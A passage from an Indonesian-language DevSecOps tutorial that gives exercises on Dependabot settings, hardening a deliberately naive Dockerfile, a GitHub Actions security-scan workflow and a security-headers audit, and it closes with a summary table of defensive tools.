  # 1. npm dependency — cek tiap minggu
  # 2. GitHub Actions — cek tiap bulan
  # 3. Docker — cek tiap minggu (kalo pake Docker)
  # 4. Max 5 open PRs
  # 5. Assign reviewer ke tim-lead
```

Latihan 3: Bikin Dockerfile Aman

Dari Dockerfile yang RENTAN ini, bikin versi aman:

```dockerfile
# □ RENTAN
FROM node:20
COPY . /app
RUN npm install
CMD ["node", "index.js"]
```

Tugas: Buat Dockerfile aman dengan:

1. Multi-stage build
2. Alpine base image
3. Non-root user
4. Hanya copy file yang diperlukan
5. Health check
6. Resource limits (di compose)

Latihan 4: CI/CD Security Pipeline

Bikin GitHub Actions workflow yang:

```yaml
# TODO: Lengkapi
name: Security Scan

on: [push, pull_request]

jobs:
  security:
    runs-on: ubuntu-latest
    steps:
      # 1. Checkout code
      # 2. Setup Node 20
      # 3. npm ci
```

```
    # 4. npm audit — fail kalo ada high vuln
    # 5. Secret detection (gitleaks)
    # 6. SAST (CodeQL)
    # 7. Upload SARIF results
```

Latihan 5: Security Headers Audit

```
# TODO: Deploy app sederhana, lalu:
# 1. Cek response headers pake curl -I
# 2. Bandingin sama checklist
# 3. Tulis laporan: header mana yang ada, mana yang ilang
# 4. Tambah header yang ilang pake middleware
# 5. Verifikasi lagi
```

Ringkasan

Area	Tool/Action
Dependency scanning	npm audit, Snyk, Dependabot
Secrets management	.env + .gitignore, env vars, Vault
Container security	Non-root user, Alpine, read-only FS, Trivy scan
CI/CD security	GitHub Actions (audit + lint + secret scan + SAST)
Security headers	Helmet + manual headers, verify pake securityheaders.com
Secret leak prevention	pre-commit hooks, gitleaks, git-secrets

Prinsip: Security bukan satu kali setup — tapi **proses berkelanjutan**. Otomasi scanning di CI biar nggak ada celah yang kelewat.